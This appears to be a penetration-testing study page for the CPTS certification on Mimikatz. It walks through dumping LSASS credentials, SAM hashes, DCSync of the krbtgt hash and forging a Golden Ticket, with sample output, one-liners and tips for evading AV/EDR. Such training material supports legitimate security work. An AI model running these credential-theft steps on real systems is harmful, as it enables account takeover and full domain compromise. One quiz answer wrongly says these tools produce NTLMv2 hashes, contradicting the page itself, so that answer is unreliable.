Mimikatz

The legendary Windows credential extraction tool. Dumps plaintext passwords, NT hashes, Kerberos tickets, and more from memory. Requires local admin / SYSTEM.

Windows Active Directory CPTS

LevelAdvanced. Needs local admin or SYSTEM, and a sense of how Windows stores credentials in memory.

Know firstThat Windows caches credentials in the LSASS process memory, and that you need admin or SYSTEM to read it.

You will learn toget the privilege to touch LSASS, dump credentials from it, and know when DCSync replaces that entirely.

What is it?

Mimikatz is a Windows post-exploitation tool that extracts credentials from memory. When you log in to Windows, your credentials (passwords, hashes, Kerberos tickets) are cached in the LSASS (Local Security Authority Subsystem Service) process. Mimikatz reads that process memory and pulls out the credentials.

Created by Benjamin Delpy (gentilkiwi), Mimikatz has been the go-to credential theft tool since 2011. Despite being well-known and heavily signatured by AV/EDR, the techniques it uses are fundamental to AD pentesting.

Mimikatz vs. secretsdump

Mimikatz runs on the target (you upload it and execute it). Impacket's secretsdump.py runs from your Kali box and dumps hashes remotely over SMB. When possible, secretsdump is preferred because you don't need to drop a binary on disk. But Mimikatz can do things secretsdump can't, like extracting plaintext passwords from LSASS memory.

Run this first

Two commands before anything else: get the debug privilege, then read LSASS memory.

mimikatz: your first dump

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

privilege::debug must succeed (it prints "Privilege '20' OK") before sekurlsa works at all.
sekurlsa::logonpasswords prints plaintext passwords, NT hashes and other credential material cached in LSASS.

You get a block of output per logged-in user. If you only need Domain Admin's hash and already have a DA-level account, DCSync (lsadump::dcsync) replaces this whole step without even touching the target's LSASS.

What does it do?

Mimikatz has many modules, but these are the ones you need for CPTS:

Command	What it does	Requirements
`sekurlsa::logonpasswords`	Dumps all credentials from LSASS, NT hashes, and sometimes plaintext passwords	SYSTEM or admin + SeDebugPrivilege
`sekurlsa::tickets`	Exports all Kerberos tickets from memory	SYSTEM or admin + SeDebugPrivilege
`lsadump::sam`	Dumps the local SAM database (local user hashes)	SYSTEM
`lsadump::dcsync`	Simulates a Domain Controller replication request to get any user's hash	Domain Admin, or DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
`lsadump::lsa /patch`	Dumps LSA secrets (service account passwords, DPAPI keys)	SYSTEM
`kerberos::golden`	Creates a Golden Ticket (forged TGT)	krbtgt NT hash
`kerberos::ptt`	Pass-the-ticket: injects a .kirbi ticket	Ticket file
`token::elevate`	Impersonates SYSTEM token	Local admin

When do you use it?

Mimikatz is a post-exploitation tool. You use it after you've already gained local admin or SYSTEM on a Windows machine. The goal is to extract credentials that let you move laterally or escalate to Domain Admin.

Just got local admin on a workstation? → sekurlsa::logonpasswords to see who else has logged in
Need local account hashes? → lsadump::sam
Got Domain Admin? → lsadump::dcsync to pull the krbtgt hash (game over, Golden Ticket)
Found an account with DCSync rights in BloodHound? → dcsync without being on the DC itself
Need to persist after DA? → Golden Ticket with the krbtgt hash

How do you spot when to use it?

Signals for Mimikatz

You're SYSTEM or local admin on a Windows box → always dump creds. It's step 1 of post-exploitation
Multiple users may have logged into this machine (workstation, RDP server, file server) → logonpasswords will catch cached sessions
BloodHound shows a user with DCSync rights → you don't need to be on the DC, dcsync works remotely
You need the krbtgt hash → dcsync /user:krbtgt from any machine with DA creds
Secretsdump isn't enough → you need plaintext passwords (WDigest), not just hashes

How do you use it?

First: get privilege

mimikatz

:: Start mimikatz and elevate to SYSTEM
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name : NT AUTHORITY\SYSTEM

:: privilege::debug enables SeDebugPrivilege (needed to read LSASS)
:: token::elevate impersonates SYSTEM token (higher privileges)

Always run privilege::debug first

If privilege::debug returns ERROR, you don't have admin rights. Stop, you need to escalate privileges first. Mimikatz without debug privilege can't touch LSASS.

Dump credentials from LSASS

mimikatz: the money command

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1234567
Session           : Interactive from 1
User Name         : jsmith
Domain            : CORP
Logon Server      : DC01
        msv :
         [00000003] Primary
         * Username : jsmith
         * Domain   : CORP
         * NTLM     : 64f12cddaa88057e06a81b54e73b949b   <-- NT hash!
         * SHA1     : cdb4...
        tspkg :
        wdigest :
         * Username : jsmith
         * Domain   : CORP
         * Password : (null)                               <-- plaintext (null = not cached)
        kerberos :
         * Username : jsmith
         * Domain   : CORP.LOCAL
         * Password : (null)

When you get plaintext passwords

On older systems (pre-Windows 10) or when WDigest is enabled via registry, you'll see actual plaintext passwords in the wdigest and kerberos fields instead of (null). On HTB labs, this is sometimes enabled intentionally, always check!

DCSync: the big one

mimikatz: requires DA or DCSync privileges

:: Pull a specific user's hash (doesn't need to be on the DC)
mimikatz # lsadump::dcsync /user:corp\krbtgt
Object RDN           : krbtgt
  Hash NTLM: e4a475e292043984e376e...                    <-- Golden Ticket material
    aes256_hmac: 8b3c...
    aes128_hmac: 4f2c...

:: Pull the Administrator's hash
mimikatz # lsadump::dcsync /user:corp\Administrator

:: Dump ALL users (noisy, but comprehensive)
mimikatz # lsadump::dcsync /all /csv

Dump the local SAM

mimikatz

:: Dump local accounts (non-domain)
mimikatz # token::elevate
mimikatz # lsadump::sam

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0      <-- empty password hash!

RID  : 000003e9 (1001)
User : svc_backup
  Hash NTLM: 64f12cddaa88057e06a81b54e73b949b

Golden Ticket

mimikatz: requires krbtgt hash + domain SID

:: Create a Golden Ticket (forged TGT for any user)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:e4a475e292043984e376e... /ptt

:: /user:     = the user to impersonate (usually Administrator)
:: /domain:   = the domain FQDN
:: /sid:      = the domain SID (get from "whoami /user" and drop the last -RID)
:: /krbtgt:   = the krbtgt NT hash from dcsync
:: /ptt       = inject the ticket into current session

:: Now you're Domain Admin
C:\> dir \\DC01\C$

One-liner (non-interactive)

cmd: when you can't run mimikatz interactively

REM Run mimikatz commands non-interactively
C:\> mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt

REM DCSync one-liner
C:\> mimikatz.exe "privilege::debug" "lsadump::dcsync /user:corp\krbtgt" "exit"

What do you do with the output?

What you found	What to do with it	Tool
NT hash	Pass-the-hash or crack it	Hashcat -m 1000, or evil-winrm -H, psexec -hashes
Plaintext password	Try it everywhere: other machines, services, RDP	evil-winrm, xfreerdp, psexec
Kerberos ticket	Pass-the-ticket for lateral movement	Rubeus ptt, or KRB5CCNAME + impacket
krbtgt hash	Golden Ticket: persistent Domain Admin	Mimikatz kerberos::golden
Local SAM hashes	Try password reuse on other machines	crackmapexec smb /24 -H hash
Machine account hash (DC$)	Silver Ticket to specific services	Mimikatz kerberos::golden /service:...

Common mistakes

Avoid these

Running without privilege::debug: The #1 beginner mistake. Always run privilege::debug first. If it fails, you don't have admin
Forgetting token::elevate for SAM: lsadump::sam needs SYSTEM, not just admin. Run token::elevate before SAM dumps
Confusing NT hash with NTLM hash: The "NTLM" field in mimikatz output is actually the NT hash. It's used for pass-the-hash. An NTLMv2 hash (from Responder) is a challenge-response and must be cracked, you can't pass it
Not trying dcsync early enough: If BloodHound shows any user with Replicating Directory Changes + Replicating Directory Changes All, you can dcsync immediately. Don't wait until you're on the DC
Dropping mimikatz to disk: AV/EDR will flag it. Consider alternatives: secretsdump.py remotely, pypykatz on an LSASS dump, or in-memory execution via evil-winrm
Ignoring the AES keys: Mimikatz also dumps AES keys alongside NT hashes. These are useful for more stealthy pass-the-key with Rubeus (/aes256: instead of /rc4:)

Alternatives when mimikatz is blocked

If AV eats mimikatz: use secretsdump.py from Kali (no binary needed on target), dump LSASS with procdump -ma lsass.exe lsass.dmp and parse offline with pypykatz lsa minidump lsass.dmp, or use evil-winrm's built-in Invoke-Mimikatz for in-memory execution.

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

You run sekurlsa::logonpasswords and it returns nothing useful. What is the likely first step you skipped?

privilege::debug. Without that privilege, mimikatz cannot read LSASS memory at all.

Why does DCSync (lsadump::dcsync) avoid touching LSASS on the target machine?

It abuses replication rights to ask the DC directly for the password data, so it never reads memory on the workstation or server you're on.

What does DCSync actually need from the account running it?

Replication rights on the domain (commonly held by Domain Admins), not local admin on any specific machine.

A user logged in with a smart card instead of a password. Will mimikatz find their password in LSASS?

No. There is no password in memory to find in that case; this is one reason LaZagne or another credential source is worth trying as well.

What two credential types can secretsdump or mimikatz produce, and which is directly usable for pass-the-hash?

NTLMv2 (a challenge-response that must be cracked first) and NT hash (usable directly for pass-the-hash, with no cracking needed).